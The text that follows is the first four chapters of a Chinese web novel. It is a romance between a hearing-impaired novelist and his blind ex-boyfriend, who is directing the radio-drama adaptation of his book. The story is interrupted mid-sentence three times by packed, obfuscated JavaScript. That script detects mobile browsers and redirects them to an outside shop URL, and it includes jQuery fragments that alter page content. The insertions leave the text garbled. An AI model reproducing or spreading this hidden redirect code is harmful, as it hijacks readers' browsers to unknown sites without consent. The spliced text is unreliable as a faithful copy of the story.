《看见你说》 1. 好友 手机亮屏一下,收到一条好友申请,备注写着:三季。 乔辽拿起手机,轻点屏幕通过申请,将这个人的备注修改成:三季。 对面很快发来一条消息。 三季:故听老师,你明天快到的时候给我发消息,我去接你。 在这句话下面,还带着一个地址。 乔辽看了屏幕一会儿,回复道:好的,麻烦你了,三季老师,明天见。 回复完消息,乔辽把手机搁到一边,视线重新回到电脑屏幕上。 他操纵鼠标移动到暂停键,点击一下后,房间里再次响起声音。 男声温柔纯净,台词从他嘴里念出来非常自然,一点都没有刻意的感觉,就连尾调的结束都令人感到舒服。 视线往下,乔辽看见创作团队那栏写着,这个角色的配音演员是三季。 但他点开这部广播剧,不是为了三季的声音。 下一秒,温柔男声结束,另一道男声出现。 这段剧情是恋人之间的争吵,三季配音的角色从始至终都是好脾气,遇事也会十分耐心地去沟通。 而另一道男声则是暴脾气。 从他开口的那刻开始,就表现出了十足的威慑力,每个爆发的点也是刚刚好,不过分却拥有绝对的压迫感。 这个配音演员的声音才是乔辽要听的。 就在前段时间,编辑告诉乔辽,他最新完结的小说被工作室看上,问他愿不愿意把这本小说改编成广播剧。 乔辽当然愿意,更何况这个工作室在近期有大火作品,做出的广播剧都非常用心。 而且,这次的配导是三季。 乔辽对他了解不多,但这人的配音作品大多是温柔人设,网友对他的评价也很好,想必会是一个很好相处的人。 刚才那位拥有超强压迫感声线的配音演员,正是这次的主役。 这种声音,和他这本小说的主角适配度,简直就是百分百。 另一位主役的配音作品也被乔辽打开听了听,这位的声线也很不错,同样拥有很强的爆发力。 听完两位主役的作品后,乔辽也对明天的剧本围读放心了些,期待也变得更高。 他其实不太适应这种场合,对他而言,还是安静的环境更令他感到安心。 可这毕竟也是一次难得的经历,自己的小说能改编成广播剧,正好工作室也在这个城市,三季又联系到编辑,希望乔辽可以过去参加剧本围读。 乔辽不好拒绝,也不太想拒绝。 他还挺想看看,自己的小说到底是怎么变成一部广播剧的。 乔辽只希望,他的听力不会在明天剧本围读时拖大家后腿,要是因此影响进度就不好了。 电脑屏幕上的广播剧还在播放着,乔辽按下暂停键,摘下左耳的人工耳蜗和右耳的助听器,放到一边充电。 世界再次回归安静,乔辽靠在椅子上,抬头盯了一会儿天花板,他还是不习惯有声的世界,尽管这种生活已经持续了两年。 两年不短也不长,但想要适应一件事,只用两年还是短了些。 眼看着时间也差不多了,乔辽决定先去洗澡,今晚早点睡觉。 他伸了个懒腰,拿起手机订了一张月底去洪城的车票,然后站起身,把手机放到枕头下,接着闭上眼。 世界成了黑暗的,乔辽伸出手慢慢摸索,往前缓慢走着,但他还没走出两步就撞上了床角,乔辽深吸一口气,继续往前走。 从卧室走到浴室要不了几步,更何况他家也没多大,但他闭着眼睛,全靠摸索就会走得很慢,终于,当他摸到浴室门时,乔辽睁开了眼。 果然,他还是没办法在黑暗中找准方向,尽管他已经不止一次这样做,在这两年里,乔辽无数次在这个家里闭上眼,只凭摸索着往前,可他每次都没办法做到不碰撞,身上出现青紫早就是常事。 但这种事,却在乔辽的前男友身上持续了好多年。 前任易秋光,是个什么都看不见的人,他去哪儿都只能牵着乔辽的手,要是乔辽不在,那他就只能靠自己的双手去摸索,或是用盲杖去探路,磕碰摔倒都是常有的事,这些伤也在提醒着乔辽,易秋光身边不能离人。 可他那个时候听不见也说不了,和易秋光比起来,他只是多了一双能看见的眼睛。 他们两个加起来并不能一加一等于二。 在外人眼里,他们两个人凑在一起简直就是自找苦吃。 在这段感情里,他们分分合合好几次,乔辽也说不清,他们究竟是在干什么,他只知道,易秋光当初和那个男人走得有多近。 那个时候他也明白了。 其实易秋光并不需要他。 每当想起这些,乔辽就会睡不好觉,偏偏那些记忆时不时就会出现,他想着,今晚肯定又是辗转难眠。 果然,洗完澡后,乔辽躺在床上闭上眼,脑子里全都是易秋光和那个男人牵着手的画面。 这一觉睡得挺累的,乔辽在梦里严厉谴责易秋光刚分手就和别的男的牵上手了,易秋光还和他吵。 这人特拽地说,就牵就牵,我不仅要牵,还要和他十指紧扣。 这句话给乔辽在梦里气得不行,直接把他的语言系统都气坏了,乔辽什么话都说不出来,气得在那里一边跺脚一边掐人中。 被闹钟振动叫醒时,乔辽还在恍惚,他躺在床上睁开眼,盯着天花板,抬起手又掐了两下人中。 真是快被这个梦气死了。 乔辽把手机从枕头底下拿出来,关闭闹钟。 现在是早上八点,他和三季约的时间是十点钟,乔辽还有时间去洗漱,弄完这些还能去小区门口吃个早饭。 在准备出门的时候,他戴上了人工耳蜗和助听器,世界再次有了声音。 当他走出家门,乘着电梯下到一楼时,乔辽就开始觉得这个世界有些吵了。 他有着一张好相处的脸,眉眼温和多情,可这脸在此刻倒是露出了几分不耐烦。 乔辽眉头微蹙,现在这种环境,确实不是他喜欢的。 他对声音的判断并没有那么准确,在嘈杂环境里,甚至还会听不清楚,大部分时候,他都是半听半猜,要是对方和他不太熟的话,那还需要时间去观察他说话时的口型,才能进行读唇。 每次开口说话时也是一样,他说话的声音不算好听,只能说短的句子,但凡那句话长一点,从乔辽嘴里说出来就会听着有些奇怪。 所以他决定,今天在剧本围读上,要么点头,要么微笑,遇事不决就沉默。 非要说话的时候,尽量把自己想要表达的意思缩短,少说两句。 等他琢磨完这些,早饭也吃完了,乔辽拦了辆车,给司机说了工作室的位置。 目的地有点距离,但不算很远,那个位置乔辽也没去过。 他对江城这个地方,还是不太熟悉。 车窗外的建筑物从熟悉到陌生,不停地往后飞驰。 终于,他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140535|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快到目的地了。 正当他准备给车费的时候,手机响了声,发来消息的人是三季。 乔辽没有看消息,而是给完车费后下了车,从周围的建筑可以判断,这边应该算是老城区,他站在路边深呼吸一口气,听着周围的人声和车声,点开了三季发过来的消息。 内容很简单:故听老师,事出突然,有一位主役老师的嗓子出了点问题,恢复需要时间,这次没办法参加广播剧录制了。 乔辽把这几句话看了几遍,不知道该回些什么,他想着,反正到都到了,有什么事也可以当面问。 于是他回复:我已经到了,等会儿当面说吧。 三季秒回:马上来,我今天穿的卡其色衣服,你要是看见我了,就喊我一声。 乔辽回复:好。 这个月份正值汛期,天气闷热,空气也变得黏腻。 江城独有的潮湿感总是会让乔辽感到难受,但在这两年里,他也常常会觉得,江城确实是个好城市。 乔辽抬头看了眼阴沉的天空,接着移开视线。 这个地方不算安静,来来去去的人也比较多,乔辽嫌这儿吵,却又站在那儿没敢动。 他盼着三季赶快出现,好带着他去工作室,躲开这些吵闹。 乔辽在心里默念着“卡其色”,视线也在人群中不停寻找着穿卡其色衣服的人。 下一秒,他的手机收到一条消息,是三季发过来的:看见我了吗? 乔辽想说,压根没看见。 但他在回复之前,还是选择再抬头看一眼。 他往左边看,没有。 紧接着,他又往右边看去。 那个穿卡其色衣服的人就在不远处。 这人走在盲道上,手中的盲杖带着他一步步往前,乔辽看见他拿起手机,在上面点了几下。 几秒后,乔辽的手机又响了。 他低头去看,三季发来消息:你在哪个位置?这附近有个早餐店,你看见了吗? 乔辽回复:看见了,我在你前面,你别动了,我去找你。 他收起手机,往盲道那边走。 快要走到的时候,他看见那人往手机上点了点,再然后,手机里发出了电子男声。 这道男声把他刚才发过去的消息读了一遍,紧接着,卡其色衣服的人又要抬手点上屏幕,看样子是要回消息。 乔辽走到他身侧,张了张嘴,心跳开始变乱。 还没等乔辽说出话,身边的人就已经感觉到了他的存在。 这人偏着头,朝着乔辽的方向问了句:“是故听老师吗?” 乔辽看见他的发丝随着风动,露出眉尾下方的横眉钉。 “嗯,”乔辽看着他,说道,“你好,三季老师。” 其实,他应该说一声“好久不见”。 两年不见了,易秋光。 两年的时间里,易秋光好像也没怎么变,至少在外貌上没什么变化,依旧是一头看着很好摸的头发,看起来与常人没什么不同的双眼。 只可惜,这双眼睛看不见。 乔辽不止一次想告诉易秋光,他很喜欢这双眼睛,在易秋光笑起来的时候,这双眼会跟着弯起弧度,在遇到烦心事时,眼尾则会染上红,每当那个时候,乔辽就想伸手去触碰。 易秋光现在的眼,是带着开心的,就是眉尾下的眉钉显得有些陌生。 他朝着乔辽笑,露出了左边的虎牙:“你好,走吧,我带你去工作室。” 2. 阻碍 易秋光一定在这条路上走过无数次。 他并不是一直走在盲道上的,因为前方时不时就会出现一个障碍物,比如长在盲道上的树,或是停在盲道上的自行车。 乔辽有好几次想伸出手帮忙,但易秋光的反应比他更快。 到底是对这条路有多熟悉,才能走得这么顺,换作以前,易秋光肯定会伸出手去找乔辽,可现在,他谁都不需要。 看样子,那个男的也没把易秋光照顾好。 “故听老师,”易秋光又往他的方向望了眼,脸上还是带着笑,“快到了,就在前面。” 乔辽刚准备说声“好”,下一秒,转角处突然冲出来一辆自行车,这车的速度太快,骑车的人明显也愣了一下。 他下意识握住易秋光的胳膊,快速拉着这人站到自己身侧,他们之间的距离也瞬间缩短,肩膀相碰。 自行车从易秋光身后驶过,还留下一声刺耳的响铃。 易秋光紧握着盲杖一步都不敢再动,一副还没反应过来的样子,偏着脑袋似乎是在听周围还会不会有突然出现的声音。 “没事了,”乔辽试图缓解他的紧张,“继续走吧。” 这一刻,乔辽心里还滋生出一些莫名的情绪,他一边觉得,易秋光还是需要他,可另一边又想到,这人就算成了这样,也不愿意回头找他。 可他明白,他们当时分手太决绝,没可能再找到对方。 易秋光露出一个笑,但这个笑容里还是有些不安。 “不用,我已经没事了,”易秋光深吸口气,用盲杖往边上敲了敲,“早知道我就让别人来接你了,没想到今天会耽误时间,抱歉,故听老师。” 盲杖继续敲着,易秋光回到了盲道上,就像刚才的事情压根就没有发生过一样,继续带着乔辽往前。 “不用道歉,”乔辽走在他身旁,注意着周围的一切,“你没做错什么。” 易秋光笑了笑,没再说话,他们还在往前走着,下一个拐弯后,眼前的建筑也变了样子。 这片老城区大概是重新翻修过,建筑看着更有复古的味道,但不破旧,在道路两边还有一些手作店和咖啡店,从这些店面门口走过,能看见前面有一栋小三层。 易秋光带着他从入口进去,往左边指了指。 “这边是院子,可以停车,”说完这句,易秋光把盲杖换了个手拿,然后指向右边,“这边是工作室。” 盲杖再次回到右手,易秋光用盲杖轻敲着地面,慢慢走上台阶。 乔辽跟着一起走上去,在快要走进工作室大门时,他偏头看向墙上的logo,是一朵小云拖着一颗星球,下面写着工作室的名字:失眠行星。 易秋光已经在里面等着了,乔辽快走两步跟上,站到他身旁。 “上二楼,其他人已经到得差不多了。”易秋光往边上站了些,敲击盲杖的动作也显得有些小心。 他站的位置有些太靠右,大概是想让乔辽先上楼,楼梯的确是有点窄,但两个人要是在一起并排走,也不会有什么不方便的。 估计是担心盲杖的敲击会让乔辽上楼的过程变得麻烦,所以,易秋光才选择站在那个对他而言不算熟悉的位置。 乔辽走上楼梯,快到拐角处时,易秋光也开始往楼上走,他上一层,盲杖就会碰上一次台阶侧面。 他们之间的距离变得越来越近,但乔辽没再继续往上走,而是站在那儿看着易秋光,注意力也一直放在他抬起的脚上。 可能是因为此时只有一道脚步声,易秋光的步子也变得越来越慢,最后干脆停下。 他偏头问乔辽:“怎么不走了?” “等你。”乔辽说。 这句话就是脱口而出的,在两年前的无数个时刻,乔辽也曾在心里说过这两个字。 那个时候的他们除了工作,其他时间都是在一起的。 只要乔辽在易秋光身边,盲杖也就成了可有可无的存在。 外人都觉得,易秋光简直就是长在乔辽手心里的。 那个时候的易秋光走路慢,乔辽就会放慢自己的步子去等,努力做到和他同步。 等着等着,乔辽的步子也就变得和易秋光一样。 他们牵着彼此的手,去了好多地方,又一次次地走上回出租屋的路。 直到现在,他的步子还是和以前的易秋光一样。 而现在的易秋光,却已经学会大步往前走了。 “没事的,这条路我很熟悉,”易秋光说,“你先过去吧,在二楼会议室,我马上就来。” 易秋光对他笑着,这是一个十分客气的笑,估计是没听见脚步声再次响起,这人又微偏着头,问了句:“故听老师,怎么了吗?” “没事,”乔辽说,“我先过去。” 终于,他的视线从易秋光身上移开,当他转身后,盲杖碰上台阶的声音也跟着响了起来。 乔辽在这种声音里走到会议室门口,他刚推开门,里面的人也都朝他看了过来。 会议室很大,人也不少,但大家都挺安静的。 那些视线落在他身上,乔辽一下子就不知道该说些什么。 他并不害怕,自己听力不好的事会被发现。 更何况他用的一体机,人工耳蜗被头发挡着,压根也看不见,黑色的耳内式助听器更是小巧隐形。 比起听力,他更怕的是暴露自己说话的问题。 正当乔辽纠结措辞的时候,身后响起了盲杖敲击的声音。 易秋光走到他边上,还伸手去探了一下门的位置。 发现门正开着,易秋光就用盲杖轻轻划动地面,刚好碰上了乔辽的鞋子。 “是故听老师吗?”易秋光笑着说,“进去吧。” 在乔辽往前走了两步后,易秋光也跟着他一起走了进去。 “怎么样,人都到齐了吗,”易秋光往身边望了眼,那个位置正好是乔辽站的地方,“这是小说作者,故听老师,这次也会和我们一起进行围读,本次围读时间为一周,得辛苦大家了。” 乔辽依旧被那么多双眼睛看着,但现在他不再担心什么了,因为易秋光替他开了口,他现在只需要对着那些人笑一笑,表示友好就可以。 那些人也回给乔辽一个笑,离得近的那位还喊了乔辽一声“故听老师”,乔辽看向那人,说道:“你好。” “就坐我旁边吧,”这人帮乔辽把椅子往外拖了拖,“正好旁边没人。” 乔辽说了声“谢谢”,坐了过去。 会议室的座椅摆放是回字形,乔辽坐在外侧那排最边上,易秋光搬来一把椅子,收起盲杖,就坐在他旁边。 “我看不见,就不找座位坐了,免得等会儿需要进进出出的,容易打扰到大家,”易秋光脸上的笑好像一直都在,只要乔辽望过去,就能看见那颗虎牙,“每个人面前都放着剧本,大家可以先拿起来看一下,感觉哪里有不合适的地方,留着我们等会儿一起讨论。” 这话落下,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140536|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人都低头看向自己手中的剧本,整个会议室只剩下翻动纸张的声音。 乔辽也是一样,但他并没有把视线一直都放在剧本上。 有时候,他会抬头去看一眼易秋光,更多时候,他会用余光去看。 这次的偶遇来得突然,乔辽总觉得有些不真实,明明身边坐着那么熟悉的人,给他的感觉却有些生疏,就好像这两年过去,他对易秋光的了解,只剩下了“易秋光”这三个字。 两年而已,易秋光对他的需要就已经从百分百降成了零。 说不清心里到底是什么滋味,当初分手,乔辽就不认为会分得彻底,毕竟分手这件事对他们来说,就跟闹着玩一样。 分分合合,吵一架打一架第二天又和好。 他们打起来也是不讲道理,那个时候的乔辽听不见也说不了,只能看见易秋光不停开口,他们没办法好好沟通,只能任由拳脚落到对方身上。 易秋光的盲杖不止一次打向乔辽,乔辽被打烦了就会把盲杖夺走,但易秋光不认输,他会摸索着捂住乔辽的眼睛,然后用力踢上一脚。 他们从未好好沟通过,乔辽有时候都会想,他们之间的爱,到底是从哪里来的。 这个问题,被他带进了这本小说里。 小说里的两位主角深爱彼此,却不擅长沟通,他们之间大部分时候都是用打一架去解决问题,双方的脾气也是一点就炸。 都说小说灵感来源于生活,但这也是添油加醋版本,他和易秋光还不至于随时随地都打起来,乔辽认为,他和易秋光只是缺少沟通的方式。 说直白点,就是因为他听不见。 但现在,他们之间没有这个阻碍了。 可是,易秋光更不需要他了。 “三季老师,”坐在乔辽身边的人突然看向易秋光,问道,“主役是要重新找人吗,我听说那位老师的嗓子是不是出了点问题……” 一聊起这件事,会议室里的人全都抬起头,看向易秋光这边。 “对,”易秋光点头说道,“我等会儿会带故听老师去听试音,争取不耽误进度,大家不用担心。” “哎,其实三季老师也很合适啊,”斜对面的男人看向易秋光说道,“你没参加这次试音?” “可别给我找事做了,我本来就担心自己干不好配导的事,”三季往那个男人的方向看去,“更何况我也没配过这类人设,担心爆发力不够。” “那肯定不会,”斜对面那人继续说,“三季老师的专业能力我们都是知道的。” “是,我也觉得三季老师可以,”乔辽身边那人说完这句,立马又把话头丢给了乔辽,“你觉得呢,故听老师。” 乔辽看了这人一眼,又看向那个坐在边上的易秋光。 有些事情就是这样,明明他从未考虑过,但只要有一个人提起,这件事就会被他一直挂在心上,盼着这件事可以实现。 更何况这本小说,多多少少都有点他和易秋光的影子,出于私心,他也希望这部广播剧里能有易秋光的声音。 这人刚才还说什么,担心爆发力不够。 乔辽可不这样认为。 爆发力不够? 那是绝对不可能的事。 乔辽到今天都能记得盲杖打到身上的感觉,那怎么能叫爆发力不够,那简直就是爆发力超强。 “我觉得,三季老师很适合这个角色,”乔辽放慢语速,看向身边的易秋光,笑着说,“可以说是本色出演。” 3. 手语 听见这句话的易秋光愣了一瞬,他望向乔辽那边,说道:“是吗。” 易秋光皱起了眉,似乎是对这句话感到不理解,手中的盲杖也被他拿得更紧,要是他知道,身边坐着的人是乔辽,说出这话的人也是乔辽。 那么毫无疑问地,他会抬起手,用盲杖用力打过去。 但是,易秋光不会知道,乔辽也没打算告诉他。 告诉他没用,反而会让事情变得复杂。 他们还得相处一段时间,乔辽不想把关系弄得太尴尬。 就算要说,也得等这次合作结束之后。 “开个玩笑,”乔辽低头翻动手中的剧本,装作无意的样子说道,“三季老师这次真的不想参与?” “故听老师,你很想让我参与吗?”易秋光偏着头,勾起唇角问道。 还没等乔辽回答,易秋光又接着说道:“这次我不参加,希望下次有机会的话,能通过试音被选中,再次和故听老师合作。” “那我一定会努力的,”乔辽抬头看他一眼,笑着说道,“期待下次的合作。” 易秋光对他说了个“好”,接着就移开视线,低头轻捏着手中的盲杖。 突然,他的手机响了声。 在声音响起的那一刻,乔辽的视线又回到了易秋光身上。 应该是谁发来了消息,因为乔辽看见他点了点屏幕,手机也朗读出了聊天软件的名字。 紧接着就是两个字——山月。 易秋光又在屏幕上点了点,手机朗读出一句话:什么时候忙完? 这个“山月”是谁啊,问这问那的。 易秋光听完这句后,开始在屏幕上慢慢打字,他打出:还要一会儿。 对面回复:大概几点? 易秋光打出三个字:晚上吧。 这几个字被发了出去,对面又秒回:好,那我晚上到工作室来接你,我们一起去吃饭。 乔辽挑了挑眉,合上剧本,视线还停留在手机屏幕上,等着看易秋光准备怎么回复。 他没想到,这人答应得十分爽快,一个“好”字,被快速地发了出去。 对面那人没再回复,易秋光收起手机,坐在那里,似乎是在听着周围响起的剧本翻页声。 围读在半个小时后正式开始,乔辽坐在那里默默地听着,每位老师的发挥都很好,有些时候,易秋光会帮忙搭戏。 他的能力,乔辽确实也看见了。 时间就这么过去一小时,易秋光突然站起身,说道:“大家先休息一下。” 然后,他偏头喊了声“故听老师”,往门口指了指。 乔辽站了起来,他问易秋光:“怎么了?” “我带你去听试音。”易秋光用盲杖一下下敲击着地面,他们也一起往前走着。 在快要走到门口的时候,乔辽先他一步走过去,推开了门。 易秋光朝他的方向说了声“谢谢”,然后带着乔辽继续往前走。 这一路还没走到几步,乔辽就又偏头看向身边的人。 他已经太久没见过易秋光了。 两年前,他最后一次见到易秋光还是在冬天,那个冬天是无声的,易秋光穿着一件白色棉服,围着一条黄色围巾,这两样都是乔辽买的。 他们那个时候没钱,买也只能买打折促销的便宜货。 但就算是便宜货,乔辽也想给易秋光买那种能念得出牌子的衣服。 卖不出去的衣服都不太好看,好在易秋光的脸能把丑衣服撑起来,不管是什么样的衣服,穿在他身上总是能变成另一种模样。 乔辽一直都认为,易秋光是天生的衣架子,从小就是。 那是一个冬天,是洪城的冬天。 也是他第一次遇见易秋光的时候。 这人穿着一件破旧的衣服,胸口的卡通印花都裂开了,在寒冷的深冬,穿成这样是肯定要被冻坏的。 乔辽拉着老师停下来,用手比画着:他不冷吗,他在干什么? 老师看了一眼那个正在翻垃圾桶的小孩儿,对着乔辽比画道:穿这么少肯定会冷,我也不知道他在干什么,可能是在捡瓶子。 在天桥底下捡瓶子的人挺多的,乔辽跟着老师出来过好几次,每次都能看见不同的人在那个垃圾桶里不停翻找,有的穿得破破烂烂,有的却穿得干净,看着不像是缺这几个塑料瓶的样子。 观察之后,乔辽发现这小孩儿不是在捡瓶子,而是从垃圾桶里翻出了一个馒头,这馒头都变颜色了,一半白,一半黑黢黢的,隔远了看都能看出来,这是一个发霉的馒头。 但他好像不知道,这个馒头先是被他拿在手里捏了捏,接着就要往嘴里喂,乔辽立马往前走了两步,一巴掌拍掉他手里的馒头,着急地比画着:这个馒头坏了,不能吃,会拉肚子。 太过于着急,乔辽也忘了,不是每个人都看得懂手语。 但很显然,这男孩儿也不是吃素的,几秒后,乔辽被他用力地踢了一脚。 踢完之后,男孩的嘴巴动了几下,不知道在说什么。 但看表情,好像不是很高兴。 乔辽皱着眉,捂着腿跳了两下,回头对老师比画:他在说什么? 老师先是对小孩儿说了两句,然后对乔辽比画着:他问你为什么要把他的午饭丢掉,我帮你解释过了,我说那块馒头是坏的,不能吃,你也别生他的气,这个小朋友眼睛看不见。 乔辽愣了一下,随后点了点头。 他也不比画什么了,就这么一直看着老师,过个几秒又看向那个站在一边的脏小孩。 乔辽那个时候才七岁,这么大的孩子,心思是最好明白的,老师对着乔辽笑了笑,接着就指向他手里提着的那盒水彩笔,对他比画道:你想带这个小朋友回福利院画画吗? 乔辽这下子也笑了起来,他比画道:想。 他看着老师和那人说了几句话,然后把外套脱下来给脏小孩儿披着。 老师对乔辽比画道:你们两个把手牵好,我们带着他一起回福利院,要好好走路,不要蹦跳。 刚捡完垃圾的手不可能不脏,但乔辽也不想管那么多,脏就脏吧,回去后洗洗手就好了。 回去的路上,乔辽时不时就会偏头去看他,老师说他看不见,但乔辽却觉得,他的眼睛还是挺好看的,就是左眼下面有点脏东西,脸上也应该好好洗一下,想到这里,乔辽干脆就上了手。 但他上手之前又怕挨打,就先让老师给这人说了声,免得等会又白挨一脚,那多不划算。 老师笑着把话传达到,说完后,乔辽就扯着袖口捏在手心,抬手用衣袖去擦他脸上的脏东西,那些黑乎乎的东西被蹭掉后,乔辽的袖口立马就脏了,但这人现在干净了。 乔辽都愣了一下,他还是第一次看见这么好看的人,也不知道这种模样应该怎么形容。 他只觉得,这人比福利院里的其他人都要长得好看。 乔辽都看呆了,过了一会儿后,又看见这人开口对他说了什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140537|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他偏头看向老师,老师对乔辽比画着:他在谢谢你。 没什么好谢的,乔辽觉得,帮好看的人擦去脸上的脏东西,是他应该做的。 等他们回到福利院后,他还能把自己的衣服找出几件给这人穿,把自己的玩具也拿出来一起玩,玩累之后,他们还能在一起画画。 但回到福利院后,老师先带着小男孩离开了,等乔辽再次见到他时,脏小孩已经洗了个澡,还换了一身干净衣服。 只可惜,这人身上穿着的那套衣服不是他的。 老师带着干净小孩儿坐到乔辽边上,又拿来颜料放到桌上,老师对着小孩儿说了什么,然后,乔辽就看见他伸出手,轻轻靠近颜料,手指沾上颜料后,开始慢慢摸索着,涂抹到纸上。 他们就这么坐在那儿玩了好久,但最后,小孩儿还是走了,乔辽问老师,那个人叫什么名字,什么时候还会再来。 老师告诉乔辽,他没有名字,但以后会有的,他已经去了别的福利院,下次见面也不知道是什么时候,但他们肯定还会碰面,只是时间长短的问题。 老师确实没骗他,在他九岁的时候,他们又遇见了。 那次正好是两所福利院一起举办活动,乔辽也是第一次遇见这么多同龄人。 距离他们第一次见面已经过去两年,时间在走,模样在变。 唯一不变的,就是那个在人群中依旧出众的小男孩。 乔辽很高兴地跑过去,看向那个站在小孩儿边上的老师,比画着:他叫什么名字? 乔辽期待地等着回答,他想着,都已经过去两年了,这人现在肯定有名字了。 但这个老师不懂手语,愣了一下之后,连忙又找来别的老师。 想要沟通还真是费劲,没办法听见也确实是件麻烦事。 乔辽没忍住叹出一口气,又朝着这个刚被找来的老师比画。 但他现在的问题更多了:我想知道这个人叫什么名字,还想把自己的名字告诉他,我叫乔辽,要是可以的话,能不能再帮我问问,他今年几岁了,我和他一样高,他说不定也是九岁。 这一大串问题问出来,乔辽就差自问自答了。 老师对着乔辽笑了笑,随后就看向小孩儿,开口对着他说了什么。 乔辽还看不明白唇语,只能偏着头去看这人脸上的表情。 紧接着,他看见这人的嘴动了动,说了一句什么。 老师抬手在乔辽眼前晃了晃,随后比画道:他的名字叫易秋光,也是九岁,我把你的名字告诉他了,他说,你的名字很好听。 乔辽连忙比画道:他的名字也好听,人也长得好看。 很好听的名字,很好看的人。 乔辽的这种想法从未变过,直到现在也是这样认为。 他的视线还在易秋光身上停着,一年四季,不管哪个季节,易秋光都会是最好看的那个。 出神的后果是不好的,他也没想到易秋光会突然拐个弯。 乔辽没来得及反应,一步上前,直接撞到了墙,头上传来的疼痛和墙壁发出的声音让易秋光一下子停住。 他扶着门框,用盲杖往前探了探,在碰上乔辽的鞋子后,试探着问了句:“故听老师,你撞到墙了吗?” “没。”乔辽捂着额头,嘴还是依旧硬着。 “这样啊……没撞到就好,那估计是墙撞到你了,”易秋光对着他笑了笑,伸手往旁边指了指,“休息室到了,进来听试音吧,慢慢走,别着急。” 4. 试音 易秋光带着笑意说话时,尾调会跟着微微上扬。 就像毛茸茸的狗尾巴草在乔辽心底不停轻晃,听得心底直发痒。 乔辽的嘴角也跟着扬起来,他揉了揉依旧还在疼着的额头,跟在易秋光后面进了休息室。 “你先坐,”易秋光指了指边上的沙发,“我去给你倒杯水。” “不用,我不渴,”乔辽站在那儿看着他,“直接听试音就行。” “那我喝点,”易秋光冲他笑笑,“我有点渴。” 乔辽说了声“好”,还是站在那里不动。 当他的世界拥有声音后,乔辽一直都觉得,能够听见是一件心烦又幸福的事。 心烦会体现在很多地方。 比如吵闹的汽车鸣笛声,又或者是大清早就会响起的装修声,好在心烦只是一小部分,大多数时候,乔辽感受到的都是幸福。 这两个字常常会突然出现,有时候是小猫小狗的叫声,还有时是美妙的音乐。 但在此刻,盲杖的敲击声和易秋光的说话声也成了幸福的代名词。 这种幸福将乔辽包裹着,令他的大脑都有些发昏。 有声的世界会让乔辽感到不习惯,如果,他的世界里全都是易秋光的声音,那乔辽应该会很快适应。 易秋光在他的视线里喝完一杯水,接着就拿出一个塑料杯,又倒了一杯。 “喝点水吧,故听老师,今天温度还是挺高的,有些热,”这杯水被易秋光放到桌上,他坐上沙发,拿起手边的笔记本电脑,小心地放到桌面,以免碰到那杯水,“那我们现在开始吧,一共有五个试音音频,每个大概有一分钟。” 乔辽“嗯”了声,走到沙发边坐下。 走路的动静让易秋光愣了一瞬,就连手里打开电脑的动作都跟着停住,大概是没想到,乔辽会一直站在那里没动。 他现在坐在易秋光对面,桌面的那杯水被端了起来,乔辽喝上一口后,对易秋光说:“开始吧。” “好的,我们先来听试音一号。”易秋光冲着对面的乔辽笑了一下,微低下头。 笔记本电脑终于被打开,他的指尖敲在键盘上,电脑也开始了读屏。 电子声说着“试音一号”,紧接着,一道男声从电脑里传了出来。 试音片段选的是小说里爆发力最强的一段,主角二人发生争执,双方都不愿意低头,其中一位的情绪濒临崩溃,在怒吼声中,质问对方为什么不肯改变相处模式。 试音一号的音频在这里就结束了,电子声再次响起,说着“试音二号”。 乔辽就坐在那儿,把小说里的这段争执听了五遍。 五次不同的演绎让他有些混乱,听完后,易秋光问他:“故听老师,需要再听一遍吗?” “好,”乔辽说,“麻烦你了。” “不麻烦,应该的,”易秋光再次敲动键盘,“那我们再从试音一号开始。” 电子音再次响起,乔辽这次听得比刚才更认真,那些声音也带动着他的情绪,将他的思绪带回了去年,那个时候,这本小说正连载到一半。 乔辽听着窗外的雨声,在键盘上敲出这段剧情,他还记得,那个主角在质问完后,崩溃的情绪直接跌到谷底,双方全都陷入沉默,最后,质问的那位开了口,但语气近乎乞求。 他说:“你就不能对我好点?” 写这段的时候,乔辽脑子里全都是他和易秋光吵架的画面,但他们沟通不了。 在他们之间,只有拳脚。 乔辽也不止一次在心里问着易秋光。 为什么,我们就是不能换种模式相处。 为什么,你就是不能对我好点。 可当他看见易秋光说话的样子时,心里的想法就又变了。 他们之间的相处模式想要改变,第一个需要改变的就是他自己。 听不见的耳朵,无法言语的嘴。 他每次都只能看着易秋光的愤怒,再去迎上那些怒意。 乔辽也曾想过,要是他和这本小说里的主角一样,能够开口去说,那他和易秋光的故事会不会因此而变得不一样。 可这世界上没有回溯时光的可能,他们终究还是走到了这一步。 “故听老师?”易秋光的声音将他从回忆拉了出来,“怎么样,还需要再听一遍吗?” 